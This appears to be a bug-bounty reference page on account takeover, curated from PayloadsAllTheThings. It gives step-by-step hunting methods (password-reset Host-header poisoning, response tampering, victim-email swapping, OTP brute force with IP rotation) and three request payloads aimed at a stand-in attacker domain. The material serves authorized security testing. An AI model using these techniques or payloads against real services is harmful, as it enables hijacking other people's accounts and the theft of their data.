Payloads.
Pick a vulnerability class, learn how to hunt it step by step, grab the payloads that actually work. Curated from PayloadsAllTheThings — the full section is linked under every class.
Account Takeover
Unauthorized access to user accounts — password-reset poisoning, response tampering, and identifier abuse are the standard routes. ATO is usually a chain: two or three 'low' findings combined into a critical one.
Severity guide
Critical by definition — any proven route into another user's account tops the scale; the report needs the full chain demonstrated on a test account.
Where to look
entry points to test first01
Password reset flow
Host/Referer/X-Forwarded-Host poisoning, token reuse, response tampering — the richest ATO surface.
02
Email/phone change flows
Re-verification gaps: change email without confirming the new one, then reset.
03
2FA/OTP verification
Response tampering, brute-force without rate limit, code leakage in responses.
04
Signup/login responses
Trusting client-side signals — response bodies flipped false→true.
05
Session management
Login CSRF, session fixation, oauth binding flaws — silent account binding.
How to hunt it
in order, start to finishPoison the reset flow
Send a reset with Host/Referer/X-Forwarded-Host pointing at your domain. If the email's link uses the header, the token lands with you.
Tamper responses
Change the reset/2FA API response (false→true, error→success). Clients that trust the body complete flows the server never approved.
Abuse identifiers
Change the email/userId in the reset request body to the victim's — servers that only validate the session leak the token to the victim's email... or yours.
Attack the token lifecycle
Reuse old tokens, exploit expiry gaps, brute-force short OTPs without rate limits, or find tokens leaking in response bodies/logs.
Chain the small stuff
IDOR on profile email change + password reset = full ATO. Report the chain with the full story.
Filter & validation bypasses
when your first tries get blocked- 01Host header filtered? X-Forwarded-Host, X-Original-URL, Referer, and email-template variables each can carry the poison.
- 02Response tampering patched client-side? Some clients only check HTTP status — flip the status code family instead.
- 032FA rate-limited? Distributed brute via IP rotation, or find the OTP in the signup/verification response.
- 04Email change requires confirmation? Check if password reset accepts the NEW email before confirmation lands.
Impact ladder
what makes it payable- 01Total account compromise — the definition of critical.
- 02Silent takeover — reset links and OAuth binding leave no victim-visible trace.
- 03Data exfil + impersonation — everything the account can do, the attacker can.
- 04Vertical escalation — same chains against admin/staff accounts.
Payloads
3 · from PayloadsAllTheThingsPOST https://example.com/reset.php HTTP/1.1
Host: [ATTACKER.DOMAIN.TLD]Host-header poisoning — the reset link builds from your domain.
POST /api/changepass
{"form": {"email":"victim@email.com","password":"securepwd"}}Direct change with a swapped email — IDOR on the change endpoint itself.
GET http://[ATTACKER.DOMAIN.TLD] HTTP/1.1OOB confirmation that the server trusts attacker-controllable hosts.
Payload strings, code and technical terms are shown in English on purpose — payloads must be copied exactly as published.
Payloads originate from PayloadsAllTheThings (MIT) — use them only on programs you're authorized to test.